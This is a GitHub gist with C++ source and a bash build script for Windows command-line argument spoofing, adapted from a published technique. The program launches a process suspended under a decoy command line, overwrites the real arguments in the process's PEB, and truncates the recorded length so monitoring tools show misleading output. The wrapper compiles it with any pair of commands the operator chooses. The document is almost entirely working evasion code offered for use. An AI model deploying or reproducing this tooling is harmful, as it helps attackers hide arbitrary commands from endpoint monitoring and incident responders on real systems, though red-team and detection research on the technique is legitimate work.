Skip to content

Instantly share code, notes, and snippets.

@manasmbellani
Last active February 16, 2019 06:38
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save manasmbellani/5cf9fc9881682d6b107c26cb2e01dee5 to your computer and use it in GitHub Desktop.
Save manasmbellani/5cf9fc9881682d6b107c26cb2e01dee5 to your computer and use it in GitHub Desktop.
Modified version of the argument spoofing to execute arbitrary commands - based on the script by XPN @ https://gist.github.com/xpn/1c51c2bfe19d33c169fe0431770f3020#file-argument_spoofing-cpp. Compile the script using bash file which will write the output to a file called 'argument_spoofing_new.exe'. Escape backslash when specifying commands as a…
#include <iostream>
#include <windows.h>
#include <winternl.h>
#define CMD_TO_SHOW "powershell.exe -NoExit -c Write-Host 'This is just a friendly argument, nothing to see here'"
#define CMD_TO_EXEC L"powershell.exe -NoExit -c Write-Host Surprise, arguments spoofed\0"
typedef NTSTATUS(*NtQueryInformationProcess2)(
IN HANDLE,
IN PROCESSINFOCLASS,
OUT PVOID,
IN ULONG,
OUT PULONG
);
void* readProcessMemory(HANDLE process, void *address, DWORD bytes) {
SIZE_T bytesRead;
char *alloc;
alloc = (char *)malloc(bytes);
if (alloc == NULL) {
return NULL;
}
if (ReadProcessMemory(process, address, alloc, bytes, &bytesRead) == 0) {
free(alloc);
return NULL;
}
return alloc;
}
BOOL writeProcessMemory(HANDLE process, void *address, void *data, DWORD bytes) {
SIZE_T bytesWritten;
if (WriteProcessMemory(process, address, data, bytes, &bytesWritten) == 0) {
return false;
}
return true;
}
int main(int argc, char **canttrustthis)
{
STARTUPINFOA si;
PROCESS_INFORMATION pi;
CONTEXT context;
BOOL success;
PROCESS_BASIC_INFORMATION pbi;
DWORD retLen;
SIZE_T bytesRead;
PEB pebLocal;
RTL_USER_PROCESS_PARAMETERS *parameters;
printf("Argument Spoofing Example by @_xpn_\n\n");
memset(&si, 0, sizeof(si));
memset(&pi, 0, sizeof(pi));
// Start process suspended
success = CreateProcessA(
NULL,
(LPSTR)CMD_TO_SHOW,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED | CREATE_NEW_CONSOLE,
NULL,
"C:\\Windows\\System32\\",
&si,
&pi);
if (success == FALSE) {
printf("[!] Error: Could not call CreateProcess\n");
return 1;
}
// Retrieve information on PEB location in process
NtQueryInformationProcess2 ntpi = (NtQueryInformationProcess2)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess");
ntpi(
pi.hProcess,
ProcessBasicInformation,
&pbi,
sizeof(pbi),
&retLen
);
// Read the PEB from the target process
success = ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB), &bytesRead);
if (success == FALSE) {
printf("[!] Error: Could not call ReadProcessMemory to grab PEB\n");
return 1;
}
// Grab the ProcessParameters from PEB
parameters = (RTL_USER_PROCESS_PARAMETERS*)readProcessMemory(
pi.hProcess,
pebLocal.ProcessParameters,
sizeof(RTL_USER_PROCESS_PARAMETERS) + 300
);
// Set the actual arguments we are looking to use
WCHAR spoofed[] = CMD_TO_EXEC;
success = writeProcessMemory(pi.hProcess, parameters->CommandLine.Buffer, (void*)spoofed, sizeof(spoofed));
if (success == FALSE) {
printf("[!] Error: Could not call WriteProcessMemory to update commandline args\n");
return 1;
}
/////// Below we can see an example of truncated output in ProcessHacker and ProcessExplorer /////////
// Update the CommandLine length (Remember, UNICODE length here)
DWORD newUnicodeLen = 28;
success = writeProcessMemory(
pi.hProcess,
(char *)pebLocal.ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine.Length),
(void*)&newUnicodeLen,
4
);
if (success == FALSE) {
printf("[!] Error: Could not call WriteProcessMemory to update commandline arg length\n");
return 1;
}
// Resume thread execution*/
ResumeThread(pi.hThread);
}
#!/bin/bash
TEMPLATE_FILE_NAME="argument_spoofing.cpp"
NEW_FILE_NAME="argument_spoofing_new.cpp"
OUT_FILE="argument_spoofing_new.exe"
if [ $# -lt 2 ]; then
echo "$0 <cmd_to_show> <cmd_to_exec>"
echo
echo This script compiles the code for argument spoofing for windows processes, as discovered by Adam Chesterm \(@xpn\). Dependencies which include ming-w64 and gcc are also installed by this script via apt-get if not installed.
echo
echo "cmd_to_show Command to show (all double quotes, backslashes must be escaped)"
echo "cmd_to_exec Command to execute (all double quotes, backslashes must be escaped)"
exit
fi
cmd_to_show="$1"
cmd_to_exec="$2"
if [ -z "`which i686-w64-mingw32-g++`" ]; then
echo "[!] Installing mingw-w64 via apt-get"
sudo apt-get -y install mingw-w64
fi
if [ ! -z `"which gcc"` ]; then
echo "[!] Installing gcc via apt-get"
sudo apt-get -y install gcc
fi
echo "[*] Defining CMD_TO_EXEC, CMD_TO_SHOW values into file: $NEW_FILE_NAME"
echo "#define CMD_TO_SHOW \"$cmd_to_show\"" > "$NEW_FILE_NAME"
echo "#define CMD_TO_EXEC L\"$cmd_to_exec\\0\"" >> "$NEW_FILE_NAME"
echo >> "$NEW_FILE_NAME"
echo "[*] Removing existing CMD_TO_EXEC, CMD_TO_SHOW and writing template: $TEMPLATE_FILE_NAME to file: $NEW_FILE_NAME"
cat "$TEMPLATE_FILE_NAME" \
| grep -v '#define CMD_TO_SHOW' \
| grep -v '#define CMD_TO_EXEC' >> "$NEW_FILE_NAME"
echo "[*] Compiling file: $NEW_FILE_NAME to output file: $OUT_FILE"
i686-w64-mingw32-g++ -static-libstdc++ -static-libgcc -o "$OUT_FILE" "$NEW_FILE_NAME"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment